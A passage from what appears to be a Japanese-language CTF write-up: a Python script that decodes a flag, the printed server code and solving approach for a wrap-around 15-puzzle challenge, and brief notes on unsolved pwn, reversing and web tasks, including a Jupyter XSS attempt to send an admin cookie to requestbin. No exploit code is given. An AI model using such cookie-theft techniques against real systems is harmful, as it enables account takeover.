idxes = [-1,-1,38,34,32,36,40,41,42,43,44, 27,100,18,82,5,56,15,76,14,74,29, 104,12,70,11,68,21,88,7,60,24, 94,8,62,28,102,13,72,2,50,0 ,46,4,54,22,90,10,66,3,52,20, 86,19,84,6,58,16,78,1,48,17,80, 26,98,25,96,23,92,9,64,99,1337,-1] flag = [0] * 30 flag[idxes[12-1]] = (256 - 48)//2 flag[idxes[14-1]]=(256 - 66)//2 flag[idxes[16-1]]=(256 - 150) flag[idxes[18-1]]=(256 - 36)//2 flag[idxes[20-1]]=(256 - 46)//2 flag[idxes[22-1]]=(256 - 131) flag[idxes[24-1]]=(256 - 32)//2 flag[idxes[26-1]]=(256 - 161) flag[idxes[28-1]]=(256 - 66)//2 flag[idxes[30-1]]=(256 - 26)//2 flag[idxes[32-1]]=(256 - 34)//2 flag[idxes[34-1]]=(256 - 140) flag[idxes[36-1]]=(256 - 223) flag[idxes[38-1]]=(256 - 28)//2 flag[idxes[40-1]]=(256 - 88)//2 flag[idxes[42-1]]=(256 - 90)//2 flag[idxes[44-1]]=(256 - 10)//2 flag[idxes[46-1]]=(256 - 155) flag[idxes[48-1]]=(256 - 159) flag[idxes[50-1]]=(256 - 116)//2 flag[idxes[52-1]]=(256 - 141) flag[idxes[54-1]]=(256 - 151) flag[idxes[56-1]]=(256 - 22)//2 flag[idxes[58-1]]=(256 - 140) flag[idxes[60-1]]=(256 - 122)//2 flag[idxes[62-1]]=(256 - 154) flag[idxes[64-1]]=(256 - 153) flag[idxes[66-1]]=(256 - 22)//2 flag[idxes[68-1]]=(256 - 146) flag[idxes[70-1]]=(256 - 66)//2 print(bytes(flag))
SCTF{just_a_printf_is_enough!}
[Misc] Flip Puzzle [15 solves]
15パズルを50秒以内に100問解けという問題です。ただし、少し条件があります。
端も交換することができる(
| 123|
から|312 |
にすることができる)操作(move)は11回以内。11回以内で解けることが保証されている。
具体的には以下のようなコードで動いています。
#!/usr/bin/env python3 import random import os import signal import sys LIMIT_TIME = 50 NUM_STAGE = 100 SHUFFLE_NUM = 11 def bye(): print ("Bye~") sys.exit() signal.signal(signal.SIGALRM, bye) signal.alarm(LIMIT_TIME) class Challenge: goal = "A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P" status = "A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P" xpos = 0 ypos = 0 dist = 0 def init(self): self.status = self.goal def shuffle(self, num): options = [(0, +1), (0, -1), (+1, 0), (-1, 0)] for _ in range(num): dx, dy = random.choice(options) self.move(dx, dy) def move(self, dx, dy): assert abs(dx + dy) == 1 assert dx == 0 or dy == 0 arr = self.status.split(",") p1 = self.xpos * 4 + self.ypos xxpos = (self.xpos + dx + 4) % 4 yypos = (self.ypos + dy + 4) % 4 p2 = xxpos * 4 + yypos arr[p1], arr[p2] = arr[p2], arr[p1] self.xpos = xxpos self.ypos = yypos self.status = ",".join(arr) def ok(self): return self.goal == self.status def dump(self): arr = self.status.split(",") for i in range(0, 4): print ("".join(arr[i*4:i*4+4])) for _ in range(NUM_STAGE): chall = Challenge() chall.shuffle(SHUFFLE_NUM) cnt = 0 print("Current Status :") chall.dump() while chall.ok() == False: try: dx, dy = map(int, input(">>>").split(",")) chall.move(dx, dy) cnt = cnt + 1 if cnt > SHUFFLE_NUM: bye() except: bye() print ("Solved!") print("SCTF{fake-flag}")
とりあえずネット上に転がっているソルバで解けないか試しましたが、11回以上の操作を出力されたりするので流石にそのままは使えませんでした。
次のURLにあるコードを以下の様に改造して解きました。
Position.neighbors()
を端の移動に対応させるpath_as_0_moves()
を端の移動に対応させるマンハッタン距離を端も考慮して正しく計算させる
解くたびに
all_positions
を0にしないとバグる11回以上移動するパスは枝刈りする
これでソルバは十分に速くなりましたが、ネットワークの遅延でどうしても間に合いません。
試しに開いてたアプリを全部閉じてみると、遅延が多少短くなり制限時間に間に合うことができ、フラグを得られました。意外と効果があるんですね……
後で復習したい問題
[pwn] riscy
RISC-VのROP。やったことないし理解に時間がかかりそうと思って飛ばしてしまった。
[rev] Crack Me!
明らかにangr問なんだけどangrがうまく動かなかった。バージョン上げたら動くかなと思ったけど環境壊れて動かなくなったので諦めた。angrなんもわからん
[pwn] Super mario
Dirty Pipeっぽい。後で見る
[pwn] pwnkit
pkexecの脆弱性に不十分なパッチを当てた1-day問。user-landに近いので頑張れば解けそう
[web] Datascience Class
Jupyter Notebookの1-day XSSなんだけどadmin cookieがrequestbinにうまく届かなかった。もうちょいデバッグしたら解けてた気がする。
感想
全体的に丁寧につくられている問題が多く楽しかったです。チーム戦の海外CTFで13位という順位は割と良いのでは…?(本腰で参加してなさそうだけど、r3kapigやProject Sekaiといったチームに勝っているのは嬉しい) 少なくとも自身は過去最高の順位です。
ただWebで無駄に時間を使ったところが多くpwn/revがあまり解けなかったので、効率よく解けるよう精進したいですね。Webの方が取り組みやすいのでついつい先にそっちを解いてしまう。